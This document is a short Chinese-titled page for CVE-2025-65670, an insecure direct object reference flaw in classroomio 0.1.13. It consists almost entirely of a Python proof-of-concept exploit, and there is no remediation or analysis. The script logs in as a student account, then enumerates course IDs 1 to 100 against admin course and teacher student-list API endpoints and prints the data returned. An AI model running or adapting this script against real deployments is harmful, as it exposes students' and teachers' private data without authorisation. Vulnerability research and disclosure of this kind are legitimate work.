CVE-2025-65670: classroomio IDOR漏洞导致敏感数据未授权访问

import requests import re # CVE-2025-65670 PoC - IDOR in classroomio 0.1.13 # Description: Students can access admin/teacher endpoints by manipulating course IDs TARGET_URL = "http://target.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/api/auth/login" ADMIN_ENDPOINT = f"{TARGET_URL}/api/admin/courses" TEACHER_ENDPOINT = f"{TARGET_URL}/api/teacher/students" def login_student(username, password): """Login as student with low privileges""" session = requests.Session() response = session.post(LOGIN_URL, json={ "email": username, "password": password }) return session if response.status_code == 200 else None def exploit_idor(session, course_id): """Exploit IDOR by manipulating course ID to access admin endpoints""" # Method 1: Access admin course data admin_url = f"{ADMIN_ENDPOINT}/{course_id}" response = session.get(admin_url) if response.status_code == 200: print(f"[SUCCESS] Accessed admin data for course {course_id}") print(f"Data: {response.text}") # Method 2: Access teacher student list teacher_url = f"{TEACHER_ENDPOINT}?course_id={course_id}" response = session.get(teacher_url) if response.status_code == 200: print(f"[SUCCESS] Accessed student list for course {course_id}") print(f"Data: {response.text}") return response.text def main(): # Step 1: Login as student session = login_student("[email protected]", "password123") if not session: print("[ERROR] Login failed") return print("[INFO] Logged in as student") # Step 2: Enumerate course IDs (e.g., 1-100) for course_id in range(1, 101): exploit_idor(session, course_id) if __name__ == "__main__": main()